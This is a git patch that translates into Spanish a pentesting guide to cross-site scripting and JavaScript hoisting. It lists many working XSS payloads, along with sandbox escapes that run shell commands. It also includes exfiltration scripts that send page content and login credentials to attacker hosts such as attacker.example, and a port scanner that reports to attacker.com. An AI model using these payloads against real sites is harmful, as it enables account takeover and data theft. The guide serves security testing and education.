From 622f74b981b3c9263bbed35830ab06e9ff9ee812 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 19:19:02 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-web/xss-cross-site-scripting/js-hoisting --- .../xss-cross-site-scripting/README.md | 490 ++++++++++-------- .../xss-cross-site-scripting/js-hoisting.md | 48 +- 2 files changed, 305 insertions(+), 233 deletions(-) diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md index a968779af..c62acebec 100644 --- a/src/pentesting-web/xss-cross-site-scripting/README.md +++ b/src/pentesting-web/xss-cross-site-scripting/README.md @@ -2,66 +2,67 @@ {{#include ../../banners/hacktricks-training.md}} -## Metodología +## Methodology -1. Verifica si **cualquier valor que controlas** (_parámetros_, _ruta_, _encabezados_?, _cookies_?) está siendo **reflejado** en el HTML o **utilizado** por código **JS**. -2. **Encuentra el contexto** donde se refleja/utiliza. +1. Comprueba si **algún valor que controlas** (_parameters_, _path_, _headers_?, _cookies_?) está siendo **reflejado** en el HTML o **usado** por **JS**. +2. **Encuentra el contexto** donde se refleja/usa. 3. Si está **reflejado** -1. Verifica **qué símbolos puedes usar** y dependiendo de eso, prepara la carga útil: -1. En **HTML crudo**: +1. Comprueba **qué símbolos puedes usar** y, dependiendo de eso, prepara el payload: +1. En **raw HTML**: 1. ¿Puedes crear nuevas etiquetas HTML? 2. ¿Puedes usar eventos o atributos que soporten el protocolo `javascript:`? -3. ¿Puedes eludir protecciones? -4. ¿El contenido HTML está siendo interpretado por algún motor JS del lado del cliente (_AngularJS_, _VueJS_, _Mavo_...), podrías abusar de una [**Inyección de Plantilla del Lado del Cliente**](../client-side-template-injection-csti.md). -5. Si no puedes crear etiquetas HTML que ejecuten código JS, ¿podrías abusar de una [**Inyección de Marcado Colgante - HTML sin script**](../dangling-markup-html-scriptless-injection/index.html)? +3. ¿Puedes bypassar protecciones? +4. ¿El contenido HTML está siendo interpretado por algún engine JS del lado cliente (_AngularJS_, _VueJS_, _Mavo_...)? podrías abusar de un [**Client Side Template Injection**](../client-side-template-injection-csti.md). +5. Si no puedes crear etiquetas HTML que ejecuten código JS, ¿podrías abusar de un [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html)? 2. Dentro de una **etiqueta HTML**: -1. ¿Puedes salir al contexto de HTML crudo? +1. ¿Puedes salir al contexto raw HTML? 2. ¿Puedes crear nuevos eventos/atributos para ejecutar código JS? -3. ¿El atributo donde estás atrapado soporta la ejecución de JS? -4. ¿Puedes eludir protecciones? -3. Dentro del **código JavaScript**: -1. ¿Puedes escapar de la etiqueta ``** de una página HTML, dentro de un archivo `.js` o dentro de un atributo utilizando el protocolo **`javascript:`**: +En este caso tu input se refleja entre **``** tags de una página HTML, dentro de un archivo `.js` o dentro de un atributo que usa el protocolo **`javascript:`**: -- Si se refleja entre las etiquetas **``**, incluso si tu entrada está dentro de cualquier tipo de comillas, puedes intentar inyectar `` y escapar de este contexto. Esto funciona porque el **navegador primero analizará las etiquetas HTML** y luego el contenido, por lo tanto, no notará que tu etiqueta inyectada `` está dentro del código HTML. -- Si se refleja **dentro de una cadena JS** y el último truco no está funcionando, necesitarías **salir** de la cadena, **ejecutar** tu código y **reconstruir** el código JS (si hay algún error, no se ejecutará): +- Si se refleja entre **``** tags, incluso si tu entrada está dentro de cualquier tipo de comillas, puedes intentar inyectar `` y escapar de este contexto. Esto funciona porque el **navegador primero analizará las etiquetas HTML** y luego el contenido, por lo tanto, no detectará que tu etiqueta `` inyectada está dentro del código HTML. +- Si se refleja **dentro de una cadena JS** y el truco anterior no funciona necesitarás **salir** de la cadena, **ejecutar** tu código y **reconstruir** el código JS (si hay algún error, no se ejecutará: - `'-alert(1)-'` - `';-alert(1)//` - `\';alert(1)//` -- Si se refleja dentro de literales de plantilla, puedes **incrustar expresiones JS** utilizando la sintaxis `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` -- **La codificación Unicode** funciona para escribir **código javascript válido**: +- Si se refleja dentro de template literals puedes **incrustar expresiones JS** usando la sintaxis `${ ... }`: `` var greetings = `Hello, ${alert(1)}` `` +- **Unicode encode** works to write **valid javascript code**: ```javascript alert(1) alert(1) @@ -85,8 +86,8 @@ alert(1) ``` #### Javascript Hoisting -Javascript Hoisting se refiere a la oportunidad de **declarar funciones, variables o clases después de que se utilizan, por lo que puedes abusar de escenarios donde un XSS está utilizando variables o funciones no declaradas.**\ -**Consulta la siguiente página para más información:** +Javascript Hoisting hace referencia a la oportunidad de **declarar funciones, variables o clases después de que se usan, para poder explotar escenarios donde una XSS está usando variables o funciones no declaradas.**\ +**Check the following page for more info:** {{#ref}} @@ -97,13 +98,13 @@ js-hoisting.md Varias páginas web tienen endpoints que **aceptan como parámetro el nombre de la función a ejecutar**. Un ejemplo común que se ve en la práctica es algo como: `?callback=callbackFunc`. -Una buena manera de averiguar si algo proporcionado directamente por el usuario está intentando ser ejecutado es **modificando el valor del parámetro** (por ejemplo, a 'Vulnerable') y buscando en la consola errores como: +Una buena forma de averiguar si algo dado directamente por el usuario está intentando ejecutarse es **modificar el valor del parámetro** (por ejemplo a 'Vulnerable') y buscar en la consola errores como: ![](<../../images/image (711).png>) -En caso de que sea vulnerable, podrías ser capaz de **disparar una alerta** simplemente enviando el valor: **`?callback=alert(1)`**. Sin embargo, es muy común que estos endpoints **validen el contenido** para permitir solo letras, números, puntos y guiones bajos (**`[\w\._]`**). +En caso de que sea vulnerable, podrías ser capaz de **disparar un alert** simplemente enviando el valor: **`?callback=alert(1)`**. Sin embargo, es muy común que estos endpoints **validen el contenido** para permitir solo letras, números, puntos y guiones bajos (**`[\w\._]`**). -Sin embargo, incluso con esa limitación, todavía es posible realizar algunas acciones. Esto se debe a que puedes usar esos caracteres válidos para **acceder a cualquier elemento en el DOM**: +No obstante, aun con esa limitación sigue siendo posible realizar algunas acciones. Esto se debe a que puedes usar esos caracteres válidos para **acceder a cualquier elemento en el DOM**: ![](<../../images/image (747).png>) @@ -115,11 +116,11 @@ nextElementSibiling lastElementSibiling parentElement ``` -También puedes intentar **activar funciones de Javascript** directamente: `obj.sales.delOrders`. +También puedes intentar **ejecutar funciones Javascript** directamente: `obj.sales.delOrders`. -Sin embargo, generalmente los endpoints que ejecutan la función indicada son endpoints sin un DOM muy interesante, **otras páginas en el mismo origen** tendrán un **DOM más interesante** para realizar más acciones. +However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, **other pages in the same origin** will have a **more interesting DOM** to perform more actions. -Por lo tanto, para **abusar de esta vulnerabilidad en un DOM diferente** se desarrolló la explotación de **Same Origin Method Execution (SOME)**: +Therefore, in order to **abuse this vulnerability in a different DOM** the **Same Origin Method Execution (SOME)** exploitation was developed: {{#ref}} @@ -128,7 +129,7 @@ some-same-origin-method-execution.md ### DOM -Hay **código JS** que está utilizando **de manera insegura** algunos **datos controlados por un atacante** como `location.href`. Un atacante podría abusar de esto para ejecutar código JS arbitrario. +There is **JS code** that is using **unsafely** some **data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code. {{#ref}} @@ -137,8 +138,8 @@ dom-xss.md ### **Universal XSS** -Este tipo de XSS se puede encontrar **en cualquier lugar**. No dependen solo de la explotación del cliente de una aplicación web, sino de **cualquier** **contexto**. Este tipo de **ejecución arbitraria de JavaScript** incluso puede ser abusada para obtener **RCE**, **leer** **archivos** **arbitrarios** en clientes y servidores, y más.\ -Algunos **ejemplos**: +These kind of XSS can be found **anywhere**. They not depend just on the client exploitation of a web application but on **any** **context**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **read** **arbitrary** **files** in clients and servers, and more.\ +Some **examples**: {{#ref}} @@ -150,17 +151,17 @@ server-side-xss-dynamic-pdf.md ../../network-services-pentesting/pentesting-web/electron-desktop-apps/ {{#endref}} -## Bypass de WAF codificando imagen +## Imagen de WAF bypass encoding ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>) -## Inyectando dentro de HTML crudo +## Inyección dentro del HTML crudo -Cuando tu entrada se refleja **dentro de la página HTML** o puedes escapar e inyectar código HTML en este contexto, lo **primero** que necesitas hacer es verificar si puedes abusar de `<` para crear nuevas etiquetas: Solo intenta **reflejar** ese **carácter** y verifica si está siendo **codificado en HTML** o **eliminado** o si se **refleja sin cambios**. **Solo en este último caso podrás explotar este caso**.\ -Para estos casos también **ten en cuenta** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ -_**Nota: Un comentario HTML se puede cerrar usando\*\***\***\*`-->`\*\***\***\*o \*\***`--!>`\*\*_ +When your input is reflected **inside the HTML page** or you can escape and inject HTML code in this context the **first** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.\ +For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\ +_**Note: A HTML comment can be closed using `-->` or `--!>`**_ -En este caso y si no se utiliza ninguna lista negra/blanca, podrías usar cargas útiles como: +In this case and if no black/whitelisting is used, you could use payloads like: ```html ` o entre eventos HTML que pueden ejecutar código JS o entre atributos que aceptan el protocolo `javascript:`. +En este caso tu **input** será **reflejado dentro del código JS** de un archivo `.js` o entre etiquetas `` o entre eventos HTML que pueden ejecutar código JS o entre atributos que aceptan el protocolo `javascript:`. ### Escapando la etiqueta \` podrías fácilmente **escapar cerrando la etiqueta `` podrías fácilmente **escapar cerrando la etiqueta ` ``` -Tenga en cuenta que en este ejemplo **ni siquiera hemos cerrado la comilla simple**. Esto se debe a que **el análisis de HTML se realiza primero por el navegador**, lo que implica identificar los elementos de la página, incluidos los bloques de script. El análisis de JavaScript para entender y ejecutar los scripts incrustados solo se lleva a cabo después. +Ten en cuenta que en este ejemplo **ni siquiera hemos cerrado la comilla simple**. Esto se debe a que **el análisis de HTML se realiza primero por el navegador**, lo que implica identificar los elementos de la página, incluidos los bloques de script. El análisis de JavaScript para entender y ejecutar los scripts embebidos se realiza solo después. ### Dentro del código JS -Si `<>` están siendo sanitizados, aún puedes **escapar la cadena** donde se encuentra tu entrada y **ejecutar JS arbitrario**. Es importante **corregir la sintaxis de JS**, porque si hay algún error, el código JS no se ejecutará: +Si `<>` se están sanitizando, aún puedes **escapar la cadena** donde tu input está **ubicado** y **ejecutar JS arbitrario**. Es importante **corregir la sintaxis de JS**, porque si hay errores, el código JS no se ejecutará: ``` '-alert(document.domain)-' ';alert(document.domain)// \';alert(document.domain)// ``` -### Literales de plantilla \`\` +#### JS-in-JS string break → inject → repair pattern -Para construir **cadenas** además de comillas simples y dobles, JS también acepta **comillas invertidas** **` `` `**. Esto se conoce como literales de plantilla, ya que permiten **expresiones JS incrustadas** utilizando la sintaxis `${ ... }`.\ -Por lo tanto, si encuentras que tu entrada está siendo **reflejada** dentro de una cadena JS que utiliza comillas invertidas, puedes abusar de la sintaxis `${ ... }` para ejecutar **código JS arbitrario**: +Cuando la entrada del usuario cae dentro de una quoted JavaScript string (p. ej., server-side echo dentro de un inline script), puedes terminar la string, inject code y reparar la sintaxis para mantener el parsing válido. Esqueleto genérico: +``` +" // end original string +; // safely terminate the statement + // attacker-controlled JS +; a = " // repair and resume expected string/statement +``` +Ejemplo de patrón de URL cuando el parámetro vulnerable se refleja en una cadena JS: +``` +?param=test";;a=" +``` +Esto ejecuta attacker JS sin necesidad de tocar el contexto HTML (puro JS-in-JS). Combínalo con blacklist bypasses más abajo cuando los filtros bloqueen keywords. -Esto se puede **abusar** usando: +### Template literals `` + +Para construir **strings**, además de comillas simples y dobles, JS también acepta **backticks** **` `` `**. Esto se conoce como template literals ya que permiten **embedded JS expressions** usando `${ ... }` syntax.\ +Por lo tanto, si encuentras que tu input está siendo **reflected** dentro de una JS string que está usando backticks, puedes abusar de la sintaxis `${ ... }` para ejecutar **arbitrary JS code**: + +Esto puede ser **abused** using: ```javascript ;`${alert(1)}``${`${`${`${alert(1)}`}`}`}` ``` @@ -511,22 +527,35 @@ return loop } loop`` ``` -### Ejecución de código codificado +### Ejecución de code codificado ```html @@ -950,22 +980,22 @@ Si la página está devolviendo un tipo de contenido text/xml, es posible indica ``` -### Patrones de Reemplazo Especiales +### Patrones especiales de reemplazo -Cuando se utiliza algo como **`"some {{template}} data".replace("{{template}}", )`**, el atacante podría usar [**reemplazos de cadena especiales**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) para intentar eludir algunas protecciones: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` +Cuando se usa algo como **`"some {{template}} data".replace("{{template}}", )`**. El atacante podría usar [**reemplazos especiales de cadenas**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) para intentar evadir algunas protecciones: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) `` -Por ejemplo, en [**este informe**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), esto se utilizó para **escapar una cadena JSON** dentro de un script y ejecutar código arbitrario. +Por ejemplo, en [**este writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), esto se usó para **escapar una cadena JSON** dentro de un script y ejecutar código arbitrario. -### Caché de Chrome a XSS +### Chrome Cache to XSS {{#ref}} chrome-cache-to-xss.md {{#endref}} -### Escape de Cárceles XS +### Escape de XS Jails -Si solo tienes un conjunto limitado de caracteres para usar, verifica estas otras soluciones válidas para problemas de XSJail: +Si solo tienes un conjunto limitado de caracteres para usar, consulta estas otras soluciones válidas para problemas de XSJail: ```javascript // eval + unescape + regex eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))() @@ -996,7 +1026,7 @@ constructor(source)() // For more uses of with go to challenge misc/CaaSio PSE in // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE ``` -Si **todo está indefinido** antes de ejecutar código no confiable (como en [**este informe**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), es posible generar objetos útiles "de la nada" para abusar de la ejecución de código no confiable arbitrario: +Si **todo está undefined** antes de ejecutar código no confiable (como en [**this writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) es posible generar objetos útiles "de la nada" para abusar de la ejecución de código arbitrario no confiable: - Usando import() ```javascript @@ -1005,7 +1035,7 @@ import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8"))) ``` - Accediendo a `require` indirectamente -[Según esto](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) los módulos son envueltos por Node.js dentro de una función, así: +[According to this](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) los módulos son envueltos por Node.js dentro de una función, así: ```javascript ;(function (exports, require, module, __filename, __dirname) { // our actual module code @@ -1020,7 +1050,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync( ) })() ``` -De manera similar al ejemplo anterior, es posible **usar controladores de errores** para acceder al **wrapper** del módulo y obtener la función **`require`**: +De manera similar al ejemplo anterior, es posible **usar manejadores de errores** para acceder al **wrapper** del módulo y obtener la función **`require`**: ```javascript try { null.f() @@ -1058,14 +1088,14 @@ console.log(req("child_process").execSync("id").toString()) } trigger() ``` -### Ofuscación y Bypass Avanzado +### Obfuscation & Advanced Bypass -- **Diferentes ofuscaciones en una página:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) +- **Diferentes obfuscations en una página:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/) - [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js) - [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com) - [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) - [http://www.jsfuck.com/](http://www.jsfuck.com) -- Más sofistificado JSFuck: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) +- JSFuck más sofisticado: [https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce) - [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html) - [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html) - [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses) @@ -1239,7 +1269,7 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o] ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` -## Cargas útiles comunes de XSS +## Payloads comunes de XSS ### Varios payloads en 1 @@ -1248,9 +1278,9 @@ oﾟｰﾟo = (ﾟωﾟﾉ + "_")[c ^ _ ^ o] steal-info-js.md {{#endref}} -### Trampa de Iframe +### Iframe Trap -Hacer que el usuario navegue en la página sin salir de un iframe y robar sus acciones (incluida la información enviada en formularios): +Forzar al usuario a navegar en la página sin salir del iframe y robar sus acciones (incluida la información enviada en formularios): {{#ref}} @@ -1280,9 +1310,9 @@ Hacer que el usuario navegue en la página sin salir de un iframe y robar sus ac ``` > [!TIP] -> No **podrás acceder a las cookies desde JavaScript** si la bandera HTTPOnly está configurada en la cookie. Pero aquí tienes [algunas formas de eludir esta protección](../hacking-with-cookies/index.html#httponly) si tienes la suerte suficiente. +> Tú **no podrás acceder a las cookies desde JavaScript** si la flag HTTPOnly está establecida en la cookie. Pero aquí tienes [some ways to bypass this protection](../hacking-with-cookies/index.html#httponly) si tienes suerte. -### Robar Contenido de la Página +### Steal Page Content ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8" var attacker = "http://10.10.14.8/exfil" @@ -1295,7 +1325,7 @@ fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) xhr.open("GET", url, true) xhr.send(null) ``` -### Encontrar IPs internos +### Encontrar direcciones IP internas ```html ``` -### Escáner de Puertos (fetch) +### Port Scanner (fetch) ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` -### Escáner de puertos (websockets) +### Port Scanner (websockets) ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` -### Captura de contraseñas de autocompletar +### Captura de contraseñas autocompletadas ```javascript Username:
@@ -1390,18 +1420,33 @@ mode: 'no-cors', body:username.value+':'+this.value });"> ``` -Cuando se introduce cualquier dato en el campo de contraseña, el nombre de usuario y la contraseña se envían al servidor del atacante, incluso si el cliente selecciona una contraseña guardada y no escribe nada, las credenciales serán exfiltradas. +Cuando se introduce cualquier dato en el campo de contraseña, el nombre de usuario y la contraseña se envían al attackers server; incluso si el cliente selecciona una contraseña guardada y no escribe nada, las credenciales serán ex-filtrated. + +### Hijack form handlers to exfiltrate credentials (const shadowing) + +Si un handler crítico (por ejemplo, `function DoLogin(){...}`) se declara más tarde en la página, y tu payload se ejecuta antes (por ejemplo, vía un inline JS-in-JS sink), define un `const` con el mismo nombre primero para anticiparte y bloquear el handler. Declaraciones de función posteriores no pueden volver a enlazar un nombre `const`, dejando tu hook en control: +```javascript +const DoLogin = () => { +const pwd = Trim(FormInput.InputPassword.value); +const user = Trim(FormInput.InputUtente.value); +fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd)); +}; +``` +Notas +- Esto depende del orden de ejecución: tu inyección debe ejecutarse antes de la declaración legítima. +- Si tu payload está envuelto en `eval(...)`, los bindings `const/let` no se convertirán en globales. Usa la técnica de inyección dinámica ` ``` -### Abusando de Service Workers +### Abusar de Service Workers {{#ref}} @@ -1438,14 +1483,14 @@ abusing-service-workers.md shadow-dom.md {{#endref}} -### Políglotas +### Polyglots {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt {{#endref}} -### Cargas útiles de XSS ciegas +### Payloads de Blind XSS También puedes usar: [https://xsshunter.com/](https://xsshunter.com) ```html @@ -1512,9 +1557,9 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln {{constructor.constructor("import('{SERVER}/script.js')")()}} ``` -### Regex - Acceso a Contenido Oculto +### Regex - Acceder a contenido oculto -De [**este informe**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) es posible aprender que incluso si algunos valores desaparecen de JS, aún es posible encontrarlos en atributos de JS en diferentes objetos. Por ejemplo, una entrada de un REGEX todavía se puede encontrar después de que se eliminó el valor de la entrada del regex: +Según [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) es posible aprender que incluso si algunos valores desaparecen del JS, aún es posible encontrarlos en atributos de JS en distintos objetos. Por ejemplo, un input de un REGEX aún puede encontrarse después de que el valor del input del regex fue eliminado: ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1531,18 +1576,18 @@ console.log( document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"] ) ``` -### Lista de Fuerza Bruta +### Lista de Brute-Force {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt {{#endref}} -## XSS Abusando de otras vulnerabilidades +## XSS abusando de otras vulnerabilidades ### XSS en Markdown -¿Puedes inyectar código Markdown que será renderizado? ¡Quizás puedas obtener XSS! Verifica: +¿Se puede inyectar código Markdown que será renderizado? ¡Quizá puedas conseguir XSS! Revisa: {{#ref}} @@ -1551,17 +1596,18 @@ xss-in-markdown.md ### XSS a SSRF -¿Tienes XSS en un **sitio que usa caché**? Intenta **actualizar eso a SSRF** a través de la Inyección de Inclusión Lateral con esta carga útil: +¿Tienes XSS en un **sitio que usa caching**? Prueba a **elevar eso a SSRF** mediante Edge Side Include Injection con este payload: ```python ``` -Utilízalo para eludir restricciones de cookies, filtros XSS y mucho más.\ -Más información sobre esta técnica aquí: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). +Úsalo para eludir restricciones de cookies, filtros XSS y mucho más!\ +More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md). -### XSS en PDF creados dinámicamente +### XSS en PDF creado dinámicamente + +Si una página web está creando un PDF usando input controlado por el usuario, puedes intentar **engañar al bot** que está creando el PDF para que **ejecute código JS arbitrario**.\ +Entonces, si el **PDF creator bot encuentra** algún tipo de **HTML** **tags**, los va a **interpretar**, y puedes **abusar** de este comportamiento para causar un **Server XSS**. -Si una página web está creando un PDF utilizando entrada controlada por el usuario, puedes intentar **engañar al bot** que está creando el PDF para que **ejecute código JS arbitrario**.\ -Así que, si el **bot creador de PDF encuentra** algún tipo de **etiquetas HTML**, las va a **interpretar**, y puedes **abusar** de este comportamiento para causar un **XSS en el servidor**. {{#ref}} server-side-xss-dynamic-pdf.md @@ -1569,21 +1615,22 @@ server-side-xss-dynamic-pdf.md Si no puedes inyectar etiquetas HTML, podría valer la pena intentar **inyectar datos PDF**: + {{#ref}} pdf-injection.md {{#endref}} ### XSS en Amp4Email -AMP, destinado a acelerar el rendimiento de las páginas web en dispositivos móviles, incorpora etiquetas HTML complementadas por JavaScript para garantizar la funcionalidad con un énfasis en la velocidad y la seguridad. Soporta una variedad de componentes para diversas características, accesibles a través de [AMP components](https://amp.dev/documentation/components/?format=websites). +AMP, orientado a acelerar el rendimiento de páginas web en dispositivos móviles, incorpora etiquetas HTML complementadas por JavaScript para asegurar la funcionalidad con énfasis en velocidad y seguridad. Soporta una variedad de componentes para distintas funciones, accesibles vía [AMP components](https://amp.dev/documentation/components/?format=websites). -El formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) extiende componentes AMP específicos a los correos electrónicos, permitiendo a los destinatarios interactuar con el contenido directamente dentro de sus correos electrónicos. +The [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) format extiende componentes AMP específicos a los emails, permitiendo a los destinatarios interactuar con el contenido directamente dentro de sus correos. -Ejemplo [**writeup XSS en Amp4Email en Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). +Example [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email). -### XSS subiendo archivos (svg) +### XSS al subir archivos (svg) -Sube como imagen un archivo como el siguiente (de [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): +Sube como imagen un archivo como el siguiente (desde [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)): ```html Content-Type: multipart/form-data; boundary=---------------------------232181429808 Content-Length: 574 @@ -1639,9 +1686,9 @@ id="foo"/> ```xml ``` -Encuentra **más cargas útiles SVG en** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +Encuentra **más SVG payloads en** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) -## Trucos JS varios e información relevante +## Trucos misceláneos de JS e información relevante {{#ref}} @@ -1657,4 +1704,9 @@ other-js-tricks.md - [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) - [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide) +## Referencias + +- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html) +- [MDN eval()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md index 3917205df..cb372e3d4 100644 --- a/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md +++ b/src/pentesting-web/xss-cross-site-scripting/js-hoisting.md @@ -2,31 +2,31 @@ {{#include ../../banners/hacktricks-training.md}} -## Información Básica +## Basic Information -En el lenguaje JavaScript, se describe un mecanismo conocido como **Hoisting** donde las declaraciones de variables, funciones, clases o importaciones se elevan conceptualmente a la parte superior de su ámbito antes de que se ejecute el código. Este proceso es realizado automáticamente por el motor de JavaScript, que revisa el script en múltiples pasadas. +En el lenguaje JavaScript existe un mecanismo conocido como **Hoisting** donde las declaraciones de variables, funciones, clases o imports se conceptualizan como elevadas al inicio de su scope antes de que el código se ejecute. Este proceso lo realiza automáticamente el motor de JavaScript, que recorre el script en múltiples pasadas. -Durante la primera pasada, el motor analiza el código para verificar errores de sintaxis y lo transforma en un árbol de sintaxis abstracta. Esta fase incluye el hoisting, un proceso donde ciertas declaraciones se mueven a la parte superior del contexto de ejecución. Si la fase de análisis es exitosa, indicando que no hay errores de sintaxis, la ejecución del script continúa. +Durante la primera pasada, el engine parsea el código para verificar errores de sintaxis y lo transforma en un árbol de sintaxis abstracta. Esta fase incluye hoisting, un proceso en el que ciertas declaraciones se mueven al inicio del contexto de ejecución. Si la fase de parseo tiene éxito, indicando que no hay errores de sintaxis, se procede a la ejecución del script. Es crucial entender que: -1. El script debe estar libre de errores de sintaxis para que la ejecución ocurra. Las reglas de sintaxis deben ser estrictamente respetadas. -2. La colocación del código dentro del script afecta la ejecución debido al hoisting, aunque el código ejecutado puede diferir de su representación textual. +1. El script debe estar libre de errores de sintaxis para que la ejecución ocurra. Se deben respetar estrictamente las reglas de sintaxis. +2. La ubicación del código dentro del script afecta la ejecución debido al hoisting, aunque el código ejecutado pueda diferir de su representación textual. -#### Tipos de Hoisting +#### Types of Hoisting -Basado en la información de MDN, hay cuatro tipos distintos de hoisting en JavaScript: +Según la información de MDN, hay cuatro tipos distintos de hoisting en JavaScript: -1. **Value Hoisting**: Permite el uso del valor de una variable dentro de su ámbito antes de su línea de declaración. -2. **Declaration Hoisting**: Permite referenciar una variable dentro de su ámbito antes de su declaración sin causar un `ReferenceError`, pero el valor de la variable será `undefined`. -3. Este tipo altera el comportamiento dentro de su ámbito debido a la declaración de la variable antes de su línea de declaración real. +1. **Value Hoisting**: Permite el uso del valor de una variable dentro de su scope antes de su línea de declaración. +2. **Declaration Hoisting**: Permite referenciar una variable dentro de su scope antes de su declaración sin causar un `ReferenceError`, pero el valor de la variable será `undefined`. +3. Este tipo altera el comportamiento dentro de su scope debido a que la declaración de la variable ocurre antes de su línea de declaración real. 4. Los efectos secundarios de la declaración ocurren antes de que se evalúe el resto del código que la contiene. -En detalle, las declaraciones de funciones exhiben un comportamiento de hoisting de tipo 1. La palabra clave `var` demuestra un comportamiento de tipo 2. Las declaraciones léxicas, que incluyen `let`, `const` y `class`, muestran un comportamiento de tipo 3. Por último, las declaraciones `import` son únicas en que se elevan con comportamientos de tipo 1 y tipo 4. +En detalle, las declaraciones de función exhiben el comportamiento de 